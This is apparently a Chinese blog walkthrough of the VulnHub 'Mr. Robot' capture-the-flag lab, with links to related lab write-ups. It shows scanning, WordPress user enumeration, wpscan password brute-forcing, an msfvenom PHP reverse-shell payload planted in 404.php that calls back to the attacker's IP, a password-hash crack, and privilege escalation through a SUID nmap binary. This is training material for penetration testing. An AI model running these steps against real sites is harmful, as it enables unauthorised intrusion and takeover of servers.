靶机说明:

靶机主题来自美剧《黑客军团》

本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限。

渗透过程:

本次靶机已经导入VM,采用的是桥接模式,

攻击机用的是parrot linux+windows10,攻击机IP为:192.168.0.104

由于在同一网段内,我们用nmap找出靶机IP地址:
nmap -sP 192.168.0.0/24

得到靶机IP地址为:192.168.0.107

我们用nmap对靶机IP进行信息探测:

nmap -sV -O 192.168.0.107

发现开了22,80,443端口

我们访问靶机 http://192.168.0.107 主页:

发现是linux的命令输入框,最后那个#差点让我认为是root权限,查看源代码也没有什么有用的信息

我们先用dirb来跑一下目录,渗透之前,准备工作要做好:

dirb http://192.168.0.107 /usr/share/wordlists/dirb/big.txt

发现好多目录,还有许多敏感的目录,比如 robots.txt,

看到还有 /wp-admin,/wp-content 这些目录,这不是wordpress的系统架构吗,推测靶机应该是

wordpress搭建的博客,还有一些其他目录  /intro,/

emmm...似乎有点混乱,我们用dirsearch.py脚本通过筛选再来扫一遍:

这样就清楚多了,我们先来访问robots.txt:

我好像看见了key-1-of-3.txt,这或许就是那1/3flag,同时我们还发现一个目录,

我们先访问这个key:

这个像是key的MD5哈希值,但是不好破解...

我们再访问同时出现的这个目录 fsocity.dic:

我们下载并打开:

这给我的感觉...完全是一个字典文件啊...

不过太多,并且很多重复,我们删除一下重复项:

这个字典水分有点大,浓缩过后才11451条,

我们先不急着爆破,既然它是wordpress,kal等工具自带的wpscan完全可以用

来扫出漏洞,我们先来枚举用户:

....连用户名都没有扫出来

我们看这个博客的登陆页面,也就是 /wp-login

我们尝试用admin/admin888登陆:

虽然没有登录成功,但是错误提示是 :ERROR: Invalid username.

提示无用的用户名,应为之前本地搭建过wordpress,所以用户名正确,

密码不对时,页面会回显:ERROR: The pssword you entered for the username

我们现在手里也有一个之前下载编辑好的字典文件:fsocity_filtered.txt

我们或许写一个python脚本根据页面回显,来判断用户名是否正确:

我们运行脚本,到时候会输出用户名:

根据python脚本的运行结果,我们发现用户名为 elliot

现在我们需要获得密码,我们用wpscan使用相同的字典爆破:

wpscan --url http://192.168.0.107 --wordlist=/home/bmjoker/fsocity_filtered.txt --username elliot --threads  20

成功得到用户名跟密码:  elliot/ER28-0652

我们尝试登陆wordpress:

并且顺带查看了这个用户的权限:

Administrator...权限够大的啊,对付wordpress,在我以前写的渗透测试案例有过总结,

感兴趣的小伙伴可以翻下之前的,这里通过修改Appearance -> Editor -> 404.php来得到shell:

先用mafvenom生成一个php马:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f raw -o payload.php

然后将生成的payload.php直接覆盖404.php:

然后再kali设置监听IP,端口:

然后我们随便访问一个不存在的页面来触发这个shell,比如我们访问:

http://192.168.0.107/123456

我们查看一下监听:

成功监听!!!我们切换shell窗口

我们下一步的任务就是提权并找到key:

我们在目录搜索中,找到了key-2-of-3.txt:

查看的时候,被权限给拦住了,不过同目录下还有个 password.raw-md5,得到了:

robot:c3fcd3d76192e4007dfb496cca67e13b

感觉像是一个用户名和一个md5哈希密码,尝试解密:

得到密码为:abcdefghijklmnopqrstuvwxyz

我们尝试登陆robot这个用户来查看key:

必须运行在一个终端中,这表明我们没有正确的shell运行...

我们直接用 python -c 'import pty; pty.spawn("/bin/bash")'

来模拟一个终端,来su robot  :

成功得到第二个key,

从上面的key,我估计我们必须用root权限才能得到第三个key,

我尝试了一些常规的提权方法,找了一些exploitDB的漏洞,但这些都没有用

我们尝试从有root权限的进程入手:

(这是关于这个靶机的典型提权案例nmap:https://blog.csdn.net/yaofeino1/article/details/62897259

对linux中SUID标识位的理解:

我们执行shell命令实际上是对应于某个二进制的可执行文件或者可执行的脚本,通常以提交这个命令的用户的权限运行,但是有的命令执行过程要往某个文件中写入一些东西。比如某个不具有root权限的用户想要修改自己的密码,他就要修改/etc/passwd文件,但是我们查看一下passwd的权限设置就知道passwd文件对于普通用户而言不具有写的权限,这样可以防止普通用户更改别人或者root的密码,但是他总该可以更改自己的密码吧,这点权限还是应该有的,你想到什么好的方法可以解决这个问题吗?

这就要说道linux中的SUID标志位,它可以把一个文件设置为这样的访问权限:普通用户只有在执行特定命令(入passwd 更改密码)时,才可以更改或者写入文件(如/etc/passwd),也就相当于只可以在受保护的文件的特定部分可以写入(如passwd中的自己的密码那部分),这样就很好的解决了保护重要的文件的同时又可以在特定的情况下让普通用户更改该文件。

如果大致理解的话我们继续:

我们搜索标识位SUID为root的文件:

(linux提权命令详解:https://blog.csdn.net/qk1992919/article/details/51381644

find / -user root -perm -4000 2>/dev/null

通过截图,我们发现nmap居然有SUID标志位,来看看nmap版本

一个非常老的nmap版本,但是这个版本的nmap如何帮我们提权呢?

经过大量的谷歌搜索后,发现nmap支持“interactive.”选项,用户能够

通过该选项执行shell命令,通常,安全人员会使用该命令来避免他们

使用nmap命令被记录在history文件中:

我们成功的到最后一个key,任务完成!

 总结:

1.使用 python -c ‘import pty; pty.spawn(“/bin/bash”)’ 可以获得一个稳定的shell,这个在实际渗透中用处也很大。

2.学习多种提权方式,包括本节的nmap老版本提权,在下一节还会介绍别样的提权。

3.wordpress有很多获得shell的方法,不只是修改404脚本,还可以通过修改插件来getshell,不懂的话看我以前的测试案例。

4.还是多动手实践,靶场来自于vulnhub,大家有兴趣自己尝试一下

19. CTF综合靶机渗透(十二)的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  4. 23. CTF综合靶机渗透(十六)

    靶机说明: VM Name: JIS-CTF : VulnUpload Difficulty: Beginner Description: There are five flags on this m ...

  5. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  6. 9. CTF综合靶机渗透(二)

    靶机说明 Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors. 欢迎来到酸的世界. ...

  7. 13. CTF综合靶机渗透(六)

    靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网,并 ...

  8. 20. CTF综合靶机渗透(十三)

    靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...

  9. 14. CTF综合靶机渗透(七)

    靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.0.150) 目标 Boot to root:获得root权 ...

随机推荐

  1. python安装包的方式

    easy_install 老版python只有easy_install pip install 说明: 是easy_install的改进版,提供更好的信息提示,添加删除package等功能 安装方式: ...

  2. MySQL 高可用架构在业务层面的应用分析

    MySQL 高可用架构在业务层面的应用分析 http://mp.weixin.qq.com/s?__biz=MzAxNjAzMTQyMA==&mid=208312443&idx=1&a ...

  3. EntityFramework 学习 一 Model Browser

    我们已经为School表创建第一个实体数据模型,可视化的EDM设计器不显示所有的实体,而是显示和数据库中对应的表和视图 Model Browser为你提供关于所有对象和函数的信息, Diagrams ...

  4. 3.微信小程序-B站:wxml和wxss文件

    WXML WXML(WeiXin Markup Language)是微信的一套标签语言,结合基础组件.事件系统,可以构建出页面的结构. (小安娜:好像很厉害的样子,那基础组件.事件系统是什么?感觉更厉 ...

  5. ConcurrentHashMap以及HashMap,HashTable的区别

    ConcurrentHashMap与HashMap,和HashTable 的区别? ConcurrentHashMap是一个线程安全的key-value数据结构,而HashMap不是.Concurre ...

  6. 初步认识Express框架渲染视图

    给出一个简单的例子,讲述模板渲染的基础功能 在nodejs中使用express框架,默认的是ejs和jade渲染模板,以下是以ejs模板进行解析 1.ejs 模板安装 npm install ejs ...

  7. conda 里的 jupyter

    1. 安装conda https://mirrors.tuna.tsinghua.edu.cn/anaconda/ 下载并安装. 2. 安装jupyter (1)在ananconda主环境安装:pip ...

  8. Gym 100801B Black and White(构造)

    题意:给定X,Y,分别表示由'.'和'@'组成的连通块的个数. 思路:假如X<Y,我们用两部分来构造这个结果,第一部分由一个'.'连通块和Y-(X-1)割'@'连通块组成,第二个部分由X-1个' ...

  9. C#连接solr时提示 java内存异常 (jetty和tomcat哪个更High) java.lang.OutOfMemoryError

    C#连接solr时提示 java内存异常   java.lang.OutOfMemoryError 时间:20180130 09:51:13.329,消息:异常消息<?xml version=& ...

  10. js变量和函数提升的小结

    对于变量和函数一起的提升说法,我比较认同"LittleBear"的说法. 比如: <script> console.log(a)//function a(){} var ...